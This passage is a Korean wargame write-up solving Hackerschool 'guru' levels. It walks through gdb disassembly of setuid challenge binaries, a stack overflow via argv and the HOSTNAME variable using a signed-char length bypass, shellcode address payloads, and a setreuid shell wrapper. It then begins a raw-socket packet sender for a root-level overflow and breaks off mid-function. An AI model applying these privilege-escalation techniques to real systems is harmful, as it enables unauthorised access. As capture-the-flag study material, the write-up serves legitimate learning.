0x080484cf <main+179>:  mov    0xc(%ebp),%eax

0x080484d2 <main+182>:  add    $0x4,%eax          <--- argv[1]

0x080484d5 <main+185>:  pushl  (%eax)

0x080484d7 <main+187>:  call   0x804835c <crypt>

0x080484dc <main+192>:  add    $0x14,%esp

crypt(argv[1], sa);

0x080484df <main+195>:  push   %eax

0x080484e0 <main+196>:  call   0x804831c <strcmp>

0x080484e5 <main+201>:  add    $0x10,%esp

strcmp(crypt(argv[1],sa),argv[2])

(gdb) x/s $eax

0x40051420 <_ufc_foobar+131200>:         "sa1a7AwhYV8SQ" // AAAA

0x080484e8 <main+204>:  test   %eax,%eax

0x080484ea <main+206>:  jne    0x8048532 <main+278>

0x080484ec <main+208>:  mov    0xc(%ebp),%eax      

0x080484ef <main+211>:  add    $0xc,%eax         

0x080484f2 <main+214>:  cmpl   $0x0,(%eax)

0x080484f5 <main+217>:  je     0x8048532 <main+278>

           if (argv[3] != 0)

           {

0x080484f7 <main+219>:  mov    0xc(%ebp),%eax

0x080484fa <main+222>:  add    $0xc,%eax                        <- argv[3]

0x080484fd <main+225>:  mov    (%eax),%eax

0x080484ff <main+227>:  mov    (%eax),%al

0x08048501 <main+229>:  mov    %al,0x4(%ebp)   <- ret[0]

           *ret++ = argv[3][0]

0x08048504 <main+232>:  mov    0xc(%ebp),%eax   //argv[3]

0x08048507 <main+235>:  add    $0xc,%eax

0x0804850a <main+238>:  mov    (%eax),%eax

0x0804850c <main+240>:  inc    %eax

0x0804850d <main+241>:  mov    (%eax),%al

0x0804850f <main+243>:  mov    %al,0x5(%ebp)

           *ret++ = argv[3][1]

0x08048512 <main+246>:  mov    0xc(%ebp),%eax

0x08048515 <main+249>:  add    $0xc,%eax

0x08048518 <main+252>:  mov    (%eax),%eax

0x0804851a <main+254>:  add    $0x2,%eax

0x0804851d <main+257>:  mov    (%eax),%al

0x0804851f <main+259>:  mov    %al,0x6(%ebp)

           *ret++ = argv[3][2]

0x08048522 <main+262>:  mov    0xc(%ebp),%eax

0x08048525 <main+265>:  add    $0xc,%eax

0x08048528 <main+268>:  mov    (%eax),%eax

0x0804852a <main+270>:  add    $0x3,%eax

0x0804852d <main+273>:  mov    (%eax),%al

0x0804852f <main+275>:  mov    %al,0x7(%ebp)

           +ret++ = argv[3][3]

           }

※ 즉 return address 위치에 argv[3]의 값을 넣는다.

0x08048532 <main+278>:  mov    0xfffffff8(%ebp),%eax

0x08048535 <main+281>:  leave 

0x08048536 <main+282>:  ret   

0x08048537 <main+283>:  nop   

End of assembler dump.

(gdb)

gdb로 하나하나 실행해 가면서 소스를 유추한 결과 if(!strcmp(crypt(argv[1], "sa"), argv[2])) 을 만족하면

argv[3]의 내용을 ret에 덮어 써준다는걸 알아낼수 있었다.

그렇다면 이렇게 구성하면 성공할 것이다.

./program argv[1] argv[1]의crypt값 쉘코드주소

[guru1@guru QUESTION]$ /tmp/egg               //egg쉘을 띄운후

Using address: 0xbffff088

[guru1@guru QUESTION]$ ./vuln aaaa sa1a7AwhYV8SQ `perl -e 'print "\x98\xf8\xff\xbf"'`

aaaa

$ id

uid=501(guru1) gid=501(guru1) euid=502(guru2) groups=501(guru1)

$

guru2의 권한을 얻었다 setreuid를 실행하는 프로그램을 작성하여 완전한 쉘을 얻었다.

참고로 위와 같이 완전한 uid를 못 얻은 것은 setreuid 쉘코드 뽑는 것이 귀찮아

ash 쉘을 사용했기 때문이다.

즉, /bin/ash 를 /tmp/zz에 복사 해놓고  내가 사용한 egg 쉘 쉘코드에 “/bin/sh” 대신에 “/tmp/zz” 이라고 넣어주고

공격을 하게 되면 위와 같이 euid 만 획득하게 된다.

main()

{

        setreuid(502, 502);

        system("/bin/sh");

}

~                                 

$ gcc -o setuid setuid.c

$ chmod 4777 setuid

$ ./setuid

sh-2.05b$ id

uid=502(guru2) gid=501(guru1) groups=501(guru1)               //guru2의 uid를 얻었다.

위와 같이 하여 다시 guru1 문제를 또 풀게 되었다.

━━━━━━━━━━━━━━━━━━━━━━━

 :: Guru2 – bof ::

━━━━━━━━━━━━━━━━━━━━━━━

root 문제에 집중해 있던 중 source 가 나왔다길래 얼릉 한번 풀어보기로 했다.

[root@LABServer newager]$ ssh guru2@guru.hackerschool.org

guru2@guru.hackerschool.org's password:

[guru2@guru guru2]$ ls

QUESTION

[guru2@guru guru2]$ cd QUESTION/

[guru2@guru QUESTION]$ ls

vuln  vuln.c

[guru2@guru QUESTION]$ ls -al

합계 28

drwxr-xr-x    2 root     root         4096  6월 28 08:39 .

drwxr-x---    3 root     guru2        4096  6월 27 12:44 ..

-r-sr-x---    1 guru3    guru2       12376  6월 28 08:39 vuln

-rw-r--r--    1 root     root          489  6월 28 08:39 vuln.c

[guru2@guru QUESTION]$ cat vuln.c

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[])

{

             char count, temp[222];

             char *user;

             char max[100];

             count=strlen(getenv("HOSTNAME"));

             if(count>100)

             {

              printf(" * yo check it out!\n");

              return 0;

             }

             user=malloc(strlen(getenv("HOSTNAME")));

             strncpy(max, getenv("HOSTNAME"), strlen(getenv("HOSTNAME")));

             strcpy(user, getenv("HOSTNAME"));

             printf("\n\n\t- Hackerschool Hacking Server\n");

             printf("\t- Server Info \n\n\n");

             printf("\tHOSTNAME : %s\n\n", user);

}

[guru2@guru QUESTION]$

문제의 소스이다.

환경변수 HOSTNAME을 읽어서 strcpy하는 과정에서 bof가 일어나는 프로그램이다.

프로그램 상에서 HOSTNAME의 길이를 체크하긴 하지만 그 변수가 char형이어서

char : -128~127 인 관계로 127이 넘어가면 다시 -128이 되어버리기 때문에 회피할 수 있다.

ex)

126   = 01111110

127   = 01111111

-128  = 10000000

또 하나의 문제점은 strncpy에서 bof가 일어난 다음에 *user가 가리키는 주소가 바뀌어 버리기 때문에

포인터 user로 strcpy하는 과정에서 세그먼트 폴트가 발생한다.

bof시에 user변수 부분을 지날 때 아무 힙 영역이나 egg쉘과 상관없는 buf 영역을 넣어주면 무리없이 실행된다.

[guru2@guru tmp]$ ./egg

Using address: 0xbffff848

[guru2@guru guru2]$ cd QUESTION

[guru2@guru QUESTION]$ export HOSTNAME=`perl -e \

HOSTNAME을 [buf를 채우는값, user부분을 덮을 의미없는 heap영역, ret를 덮을 egg쉘의 주소] 형태로 구성해주고

./vuln을 실행하였다.

[guru2@guru QUESTION]$ ./vuln

        - Hackerschool Hacking Server

        - Server Info

        HOSTNAME : 섢퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?퓲?옇만만만만만만만만만툒?퓠?퓠?

$ id

uid=502(guru2) gid=502(guru2) euid=503(guru3) groups=502(guru2)               //guru3의 권한을 얻었다.

$

쉽게 guru3의 권한을 얻었다.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

 :: Guru3  – root를 향하여 Raw socket bof ::

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

실행화일에 읽기 권한이 있어 소스를 분석하고 있었다.

[segovia@LABServer segovia]$ cat dump

0x0804849c <main+0>:    push   %ebp

0x0804849d <main+1>:    mov    %esp,%ebp

0x0804849f <main+3>:    sub    $0xc8,%esp

int sd;

char *ff40;

char buf[200];

// fff4, fff8, fffc, ebp, ret

char ffd8

int *ffd4

int *ffd0

char ff58[100];

ff4c

ff48

ff44

char ff40

0x080484a5 <main+9>:    and    $0xfffffff0,%esp

0x080484a8 <main+12>:   mov    $0x0,%eax

0x080484ad <main+17>:   sub    %eax,%esp

0x080484af <main+19>:   lea    0xffffff58(%ebp),%eax

0x080484b5 <main+25>:   add    $0x14,%eax

0x080484b8 <main+28>:   mov    %eax,0xffffff44(%ebp)

ff44 = 20;

0x080484be <main+34>:   lea    0xffffff58(%ebp),%eax

0x080484c4 <main+40>:   add    $0x28,%eax

0x080484c7 <main+43>:   mov    %eax,0xffffff40(%ebp)

ff40 = 0x28;

0x080484cd <main+49>:   sub    $0x4,%esp

0x080484d0 <main+52>:   push   $0x6

0x080484d2 <main+54>:   push   $0x3

0x080484d4 <main+56>:   push   $0x2

0x080484d6 <main+58>:   call   0x80483cc <socket>

0x080484db <main+63>:   add    $0x10,%esp

0x080484de <main+66>:   mov    %eax,0xffffffd4(%ebp)

ffd4 = socket(2,3,6);

0x080484e1 <main+69>:   movl   $0x10,0xffffffd0(%ebp)

0x080484e8 <main+76>:   sub    $0x8,%esp

0x080484eb <main+79>:   lea    0xffffffd0(%ebp),%eax

0x080484ee <main+82>:   push   %eax

0x080484ef <main+83>:   lea    0xffffff48(%ebp),%eax

0x080484f5 <main+89>:   push   %eax

0x080484f6 <main+90>:   push   $0x0

0x080484f8 <main+92>:   push   $0x64

0x080484fa <main+94>:   lea    0xffffff58(%ebp),%eax

0x08048500 <main+100>:  push   %eax

0x08048501 <main+101>:  pushl  0xffffffd4(%ebp)

0x08048504 <main+104>:  call   0x804835c <recvfrom>

0x08048509 <main+109>:  add    $0x20,%esp

recvfrom(sd, buf, 100, 0, 받는주소, 0x10);

recvfrom(ffd4, ff58, 0x64(100), flag(0), ff48(addr), ffd0(length));

0x0804850c <main+112>:  sub    $0x8,%esp

0x0804850f <main+115>:  push   $0x804863c

0x08048514 <main+120>:  pushl  0xffffff4c(%ebp)

0x0804851a <main+126>:  call   0x804838c <inet_ntoa>

0x0804851f <main+131>:  add    $0x4,%esp

if(!strcmp(inet_ntoa(ff4c), "123.234.123.234")) {

0x08048522 <main+134>:  push   %eax

0x08048523 <main+135>:  call   0x804836c <strcmp>

0x08048528 <main+140>:  add    $0x10,%esp

0x0804852b <main+143>:  test   %eax,%eax

0x0804852d <main+145>:  jne    0x80484e8 <main+76>

0x0804852f <main+147>:  sub    $0xc,%esp

0x08048532 <main+150>:  push   $0x804864c

0x08048537 <main+155>:  call   0x80483bc <printf>

0x0804853c <main+160>:  add    $0x10,%esp

printf("This is correct IP address\n");

0x0804853f <main+163>:  mov    0xffffff44(%ebp),%eax

0x08048545 <main+169>:  movzwl 0x2(%eax),%eax

0x08048549 <main+173>:  sub    $0xc,%esp

0x0804854c <main+176>:  push   %eax

0x0804854d <main+177>:  call   0x804839c <ntohs>

0x08048552 <main+182>:  add    $0x10,%esp

if(ntohs(ff44) ==777) {

0x08048555 <main+185>:  cmp    $0x309,%ax

0x08048559 <main+189>:  jne    0x80484e8 <main+76>

0x0804855b <main+191>:  sub    $0xc,%esp

0x0804855e <main+194>:  push   $0x804865e

0x08048563 <main+199>:  call   0x80483bc <printf>

0x08048568 <main+204>:  add    $0x10,%esp

printf("I received attacker's packet.\n");

0x0804856b <main+207>:  call   0x804837c <fork>

0x08048570 <main+212>:  test   %eax,%eax

0x08048572 <main+214>:  jne    0x80484e8 <main+76>

if(!fork()) {

strcpy(ffd8, ff40);

}

0x08048578 <main+220>:  sub    $0x8,%esp

0x0804857b <main+223>:  pushl  0xffffff40(%ebp)

0x08048581 <main+229>:  lea    0xffffffd8(%ebp),%eax

0x08048584 <main+232>:  push   %eax

0x08048585 <main+233>:  call   0x80483dc <strcpy>

0x0804858a <main+238>:  add    $0x10,%esp

strcpy(ffd8, ff40);

0x0804858d <main+241>:  leave 

0x0804858e <main+242>:  ret   

0x0804858f <main+243>:  nop   

End of assembler dump.

그러던 중에 소스가 공개 되었다.

------------------vuln.c-------------------------------------------

#include <stdio.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <arpa/inet.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <dumpcode.h>

int main() {

             char buffer[20];

             int recv_socket, len; char recv_packet[100];

             struct sockaddr_in          target_address;

             struct tcphdr *tcp_header; // tcp 헤더 구조체의 포인터 변수 struct iphdr

             tcp_header = (struct tcphdr *)(recv_packet + 20);  // ip 헤더 뒤쪽 부분을 가리키도록 함.

             char *string = recv_packet+40;      // data 부분을 가리키도록 함.

             recv_socket = socket( AF_INET, SOCK_RAW, IPPROTO_TCP );

             len = sizeof( target_address );

             while(1){

                           recvfrom( recv_socket, recv_packet, 100, 0, (struct sockaddr *)&target_address, &len );

                           // 발신자의 IP가 123.234.123.234과 같은지 검사.

                     if( strcmp( inet_ntoa(target_address.sin_addr), "123.234.123.234" ) == 0 ){

                                        printf("This is correct IP address\n");

                                        // 접속 포트가 777와 같은지 검사.

                                        if( ntohs(tcp_header->dest) == 777 ){

                                                     printf( "I received attacker's packet.\n" );

                                                     if(fork()==0){

                                                                  dumpcode(string, 48);

                                                                  printf("\n\n");

                                                                  strcpy(buffer, string);

                                                                  break;

                                                     }

                                        }

                           }

             }

}

raw socket 문제이다 source address는 123.234.123.234 이어야 하고 destination port는 777이어야 패킷을 받는다

패킷을 받는 과정에서 buffer를 오버해서 ret를 바꿀수 있다.

문제는 /home/guru3/QUESTION/vuln 실행파일이 있고 실행 권한도 있지만 setuid비트가 없어서 정상적으로

실행이 안된다는 것이다. 즉 패킷이 전달되는 과정을 자세히 보아야 할 것 같은데 그럴 수가 없었다.

(raw소켓은 root권한으로만 열림)

하지만 이미 소켓은 root권한으로 열려 있는 상태였다.

아래와 같은 raw socket sender를 작성해서 패킷을 보내 보았다.

=====================raw socker sender(go.c)=====================

#include <stdio.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <netdb.h>

#include <arpa/inet.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

unsigned short in_cksum(unsigned short *ptr, int nbytes)

{

        register long           sum;

        u_short                 oddbyte;